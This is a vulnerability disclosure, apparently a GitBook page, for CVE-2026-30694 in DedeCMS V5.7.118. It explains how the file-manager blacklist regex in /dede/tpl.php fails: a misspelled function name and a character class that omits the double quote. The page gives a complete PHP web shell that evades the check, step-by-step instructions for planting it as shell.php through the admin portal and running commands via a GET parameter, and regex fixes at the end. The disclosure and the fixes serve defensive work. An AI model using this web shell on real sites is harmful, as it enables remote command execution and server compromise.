> For the complete documentation index, see [llms.txt](https://jacobjacobjacob.gitbook.io/cve-2026-30694/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jacobjacobjacob.gitbook.io/cve-2026-30694/cve-2026-30694-dedecms-admin-portal-file-manage-getshell-via-bypass-blacklist.md).

# CVE-2026-30694 dedecms admin portal file manage getshell via bypass blacklist

## Download source code

<https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip>

***

## admin portal RCE - Bypassing the blacklist regular expression flaw (verified)

* Location: `/dede/tpl.php` (file manage function)
* Risk Level: High (Requires DedeCMS administrator privileges; full RCE can be achieved)
* Exploitability: Confirmed to be exploitable
* Prerequisites: Requires administrator privileges
* Affected Scope: <=V5.7 118 UTF-8 versions

## Vulnerablitity Discover

Regular expression analysis revealed two key flaws in the DedeCMS blacklist detection regular expressions:

Defect 1: Spelling error

```php
//Source code /dede/tpl.php line 35
'array_filert'  // wrong spell, it shoule be array_filter
```

Defect 2: Incomplete character class at the end of the regular expression

```php
// regular expression (Source code /dede/tpl.php line 38):
preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", $content)
//                                           ^^^^^^
//                                           Character: ( [ { '
//                                           ❌ it lacks double quote " !
```

### Detailed Explanation of the Bypass Principle

The regular expression ending with `[([{']` only matches: `( [ { '`. It does not match: `" (double quotes)`.

Therefore, when the callback name is enclosed in double quotes, the regular expression cannot detect it.

**Example:**

&#x20;Content written to a PHP file: `array_filter(["id"],"system")` → Because the callback "system" contains double quotes, and the ending character class does not contain double quotes, the regular expression cannot match it, thus bypassing the detection.

**Python POC for regular expression**

```python
import re
#  Regular Expression check
pattern = r'[^a-z]+[\'\"]*system[\'\"]*\s*[([{\']'

# test
print(re.search(pattern, '}"system"', re.I))   # None (绕过!)
```

**Full payload**

```php
// Bypassing blacklists using array_filter + double-quoted
<?php
$g = "_GET";
$c = "c";
array_filter([${$g}[$c]],"system");
```

## Step

{% stepper %}
{% step %}
log on admin portal
{% endstep %}

{% step %}
Go to Core Module → Attachment Management → File Manager
{% endstep %}

{% step %}
Create a new file (e.g., shell.php), insert the following content, and save it:

{% code title="shell.php" %}

```php
<?php
$g = "_GET";
$c = "c";
array_filter([${$g}[$c]],"system");
```

{% endcode %}
{% endstep %}

{% step %}
Save the file (It would bypass blacklist )
{% endstep %}

{% step %}
Accessing the PHP file and passing in parameters, such as ?c=whoami, successfully obtained a shell.
{% endstep %}
{% endstepper %}

## Relavant Screenshots

&#x20;&#x20;

<figure><img src="/files/EfVI5cRAnAtui9mhrxZV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Rai2GeOz8oyTw7KyFTfx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8vf7OZf0Vpho89mn6v7h" alt=""><figcaption></figcaption></figure>

### Source Code fix recommandation

It is recommended to fix the following two issues in the source code:&#x20;

In dede/tpl.php, on line 38, fix the regular expression by adding " to the end of the character class:

```php
preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{'\"]#i", $content)
```

2. In dede/tpl.php, on line 35, fix the spelling error:

```php
// Origin: array_filert
// should be:
array_filter
```

***

<https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip>

***

***